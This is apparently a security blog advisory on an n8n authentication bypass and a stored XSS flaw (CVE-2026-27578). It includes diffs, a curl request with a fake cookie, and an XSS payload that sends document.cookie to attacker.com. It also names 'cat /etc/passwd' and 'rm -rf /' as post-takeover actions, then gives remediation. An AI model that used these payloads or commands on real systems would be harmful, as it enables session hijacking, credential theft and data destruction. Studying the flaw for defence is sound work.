Feb 26, 2026·6 min read·14 visits
The n8n automation platform suffered from a critical logic flaw where checking for the *existence* of an auth cookie was deemed sufficient proof of identity. This allowed unauthenticated attackers to trigger protected workflows. Additionally, a Stored XSS vulnerability in the Chat Trigger node allowed low-privilege users to escalate privileges by injecting scripts into MIME type configurations.
A dual-threat vulnerability in the n8n workflow automation platform combines a trivial authentication bypass with a Stored Cross-Site Scripting (XSS) vector. The authentication mechanism in specific trigger nodes failed to validate session tokens, checking only for their presence. Simultaneously, the Chat Trigger node allowed authenticated users to inject malicious JavaScript via the `allowedFilesMimeTypes` parameter.
If you are a red teamer, you love n8n. It's essentially "Remote Code Execution as a Service" wrapped in a nice UI. Companies use it to glue together their most sensitive stacks—Slack, AWS, SQL databases, and CRM systems. It holds the keys to the kingdom. Gaining administrative access to an n8n instance is rarely just about the instance itself; it's about the credentials stored within the credential manager and the ability to execute arbitrary Python or JavaScript in the context of the internal network.
CVE-2026-27578 is a beautiful example of why "it works on my machine" logic shouldn't be applied to security. We have two distinct issues here that paint a picture of a development team prioritizing functionality over defensive depth. One allows strangers to ring your doorbell when they shouldn't (Auth Bypass), and the other allows the people inside the house to burn it down (Stored XSS).
Let's start with the Authentication Bypass, because it is delightfully stupid. In the security world, we usually expect authentication checks to involve cryptographic signatures, session lookups, or at least a string comparison against a database.
In the affected versions of n8n, specifically within the GenericFunctions.ts file used by the Chat Trigger and Webhook nodes, the logic took a shortcut. The application implemented a check for n8nUserAuth—a setting intended to restrict workflow triggering to logged-in n8n users.
The logic was roughly: "Does the user have a cookie named n8n-auth? If yes, let them in."
It did not check if the cookie was valid. It did not check if the cookie was signed. It did not check if the cookie contained a session ID that actually existed. It just checked if the header was present. It’s the digital equivalent of a bouncer letting you into a club because you're holding a wallet—it doesn't matter that the wallet is empty and made of cardboard.
Let's look at the diff. This is where the developer's optimism meets reality. The vulnerable code in GenericFunctions.ts relied on a simple existence check.
// The "Security" Check
const authCookie = getCookie('n8n-auth');
// If the cookie is missing AND it's not the setup webhook...
if (!authCookie && webhookName !== 'setup') {
// ...throw an error.
// Implicitly: If authCookie exists, you are safe.
throw new ChatTriggerAuthorizationError(500, 'User not authenticated!');
}Do you see the massive logical gap? If authCookie is any truthy value (like the string "1" or "hackme"), the if condition evaluates to false (because of the !), the error is skipped, and execution continues.
The patch introduces actual validation. It's not enough to hold the cookie; the cookie must be valid.
// The Fix
const authCookie = getCookie('n8n-auth');
const isCookieValid = validateSession(authCookie); // Pseudo-code for the deeper check added
if (!isCookieValid && webhookName !== 'setup') {
throw new ChatTriggerAuthorizationError(500, 'User not authenticated!');
}By forcing a validation of the session token against the backend store, the bypass is closed.
Exploiting the authentication bypass is trivial. You don't need Burp Suite; you could do this with curl. If you find an n8n endpoint protected by n8nUserAuth, you simply send a request with a garbage cookie.
curl -X POST https://target-n8n.com/webhook/test-flow \
-H "Cookie: n8n-auth=LetMeIn"The server sees the cookie header, ticks the box, and triggers the workflow. If that workflow was designed to perform sensitive internal actions (like restarting a service or querying a database), you've just triggered it without credentials.
The second vulnerability is a Stored XSS in the Chat Trigger node. This requires PR:L (authenticated user with workflow edit rights). The allowedFilesMimeTypes field is intended to restrict file uploads (e.g., image/png). However, this string was injected directly into the HTML of the chat interface without sanitization.
The Attack:
allowedFilesMimeTypes field, input:
image/png"><script>fetch('https://attacker.com?c='+document.cookie)</script>When an administrator (or any other user) opens the chat interface for this workflow, the malicious MIME type closes the previous HTML tag and opens a new script tag. The script executes in their browser, sending their legitimate n8n-auth cookie to your listener. You can then hijack their session and gain full administrative control.
Why does this matter? n8n is not a blog; it's an orchestration engine.
1. Credential Theft: n8n stores credentials for external services (AWS keys, Stripe secrets, Slack tokens). An admin session takeover via XSS allows an attacker to export these credentials or create workflows that exfiltrate them.
2. Internal Network Access: Triggers bypass allow external actors to fire internal logic. If a workflow takes a query parameter and passes it to an SQL query or a shell command (via the Execute Command node), the Auth Bypass removes the first layer of defense against injection attacks.
3. RCE via Workflow: If an attacker uses the XSS to gain Admin access, they can simply add an "Execute Command" node to a workflow, type cat /etc/passwd or rm -rf /, and hit execute. The XSS essentially upgrades a low-privileged editor to a root-level operator of the host container.
The remediation path is straightforward, but critical.
Upgrade Immediately: Ensure you are running one of the fixed versions:
Defense in Depth:
Even after patching, review your GenericFunctions.ts equivalent logic if you are maintaining a custom fork. Ensure that existence checks are never used as proxies for validity checks.
Workarounds:
If you cannot upgrade immediately, consider putting your entire n8n instance behind a strong reverse proxy (like Nginx with Basic Auth) or a VPN. Do not rely on n8n's built-in n8nUserAuth for critical workflows until the patch is applied. For the XSS, restrict workflow editing permissions to trusted personnel only.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
n8n n8n.io | < 1.123.22 | 1.123.22 |
n8n n8n.io | >= 2.0.0, < 2.9.3 | 2.9.3 |
n8n n8n.io | >= 2.10.0, < 2.10.1 | 2.10.1 |
| Attribute | Detail |
|---|---|
| CVSS v4.0 | 8.5 (High) |
| CWEs | CWE-287 (Auth Bypass), CWE-79 (XSS) |
| Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | None (Auth Bypass) / Low (XSS) |
| Patch Status | Released (2026-02-25) |
Improper Authentication and Improper Neutralization of Input During Web Page Generation.